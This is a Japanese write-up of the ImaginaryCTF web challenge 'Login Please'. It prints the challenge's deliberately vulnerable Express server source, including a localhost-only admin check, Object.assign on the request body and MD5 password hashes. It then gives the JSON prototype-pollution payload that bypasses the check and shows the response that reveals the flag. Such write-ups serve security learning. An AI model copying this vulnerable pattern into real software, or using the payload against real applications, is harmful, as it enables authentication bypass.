💭

ImaginaryCTF Web問 Writeup [Login Please]

2022/09/16に公開

Login Please

URLにアクセスをするとUsernameとPasswordでログインを求められる。

ソースコードを見てみる。

     1	<form action="/login" method="POST">
     2	    <div>
     3	        <label for="username">Username: </label>
     4	        <input name="username" type="text" id="username">
     5	    </div>
     6	    <div>
     7	        <label for="password">Password: </label>
     8	        <input name="password" type="password" id="password">
     9	    </div>
    10	    <button type="submit">Login</button>
    11	</form>
    12	<!-- /source -->

12行目のコメントで<!-- /source -->と書かれているパスにアクセスしてみる。

     1	const express = require('express')
     2	const crypto = require('crypto')
       
     3	function md5(text) {
     4	    return crypto.createHash('md5').update(text).digest('hex')
     5	}
       
     6	const app = express()
       
     7	const users = {
     8	    guest: '084e0343a0486ff05530df6c705c8bb4',
     9	    admin: '21232f297a57a5a743894a0e4a801fc3',
    10	    '1337hacker': '2ab96390c7dbe3439de74d0c9b0b1767'
    11	}
    12	const localIPs = ['127.0.0.1', '::1', '::ffff:127.0.0.1']
       
    13	app.use(express.urlencoded({ extended: false }))
    14	app.use(express.json())
    15	app.get('/', (req, res) => {
    16	    res.send(`
    17	<form action="/login" method="POST">
    18	    <div>
    19	        <label for="username">Username: </label>
    20	        <input name="username" type="text" id="username">
    21	    </div>
    22	    <div>
    23	        <label for="password">Password: </label>
    24	        <input name="password" type="password" id="password">
    25	    </div>
    26	    <button type="submit">Login</button>
    27	</form>
    28	<!-- /source -->
    29	`)
    30	})
       
    31	app.post('/login', (req, res) => {
    32	    if (req.body.username === 'admin' && !localIPs.includes(req.ip)) {
    33	        return res.end('Admin is only allowed from localhost')
    34	    }
    35	    const auth = Object.assign({}, req.body)
    36	    if (users[auth.username] === md5(auth.password)) {
    37	        if (auth.username === 'admin') {
    38	            res.end(`Welcome admin! The flag is ${process.env.FLAG}`)
    39	        } else {
    40	            res.end(`Welcome ${auth.username}!`)
    41	        }
    42	    } else {
    43	        res.end('Invalid username or password')
    44	    }
    45	})
       
    46	app.get('/source', (req, res) => {
    47	    res.sendFile(__filename)
    48	})
       
    49	app.get('/package.json', (req, res) => {
    50	    res.sendFile('package.json', { root: __dirname })
    51	})
       
    52	const port = 5001 || process.env.PORT
    53	app.listen(port, () => {
    54	    console.log(`Server running on http://localhost:${port}`)
    55	})

見るところはここ

    31	app.post('/login', (req, res) => {
    32	    if (req.body.username === 'admin' && !localIPs.includes(req.ip)) {
    33	        return res.end('Admin is only allowed from localhost')
    34	    }
    35	    const auth = Object.assign({}, req.body)
    36	    if (users[auth.username] === md5(auth.password)) {
    37	        if (auth.username === 'admin') {
    38	            res.end(`Welcome admin! The flag is ${process.env.FLAG}`)
    39	        } else {
    40	            res.end(`Welcome ${auth.username}!`)
    41	        }
    42	    } else {
    43	        res.end('Invalid username or password')
    44	    }
    45	})

全て回避してフラグを表示させるには、「プロトタイプ汚染攻撃」を行う。
Content-Typeapplication/jsonに変更し、
以下のリクエストを送る。

{
	"__proto__":{"username":"admin"},
	"password":"admin"
}

フラグをゲットする。

HTTP/1.1 200 OK
X-Powered-By: Express
Date: Fri, 16 Sep 2022 05:47:55 GMT
Connection: close
Content-Length: 68

Welcome admin! The flag is ictf{omg_js_why_are_you_doing_this_to_me}

Discussion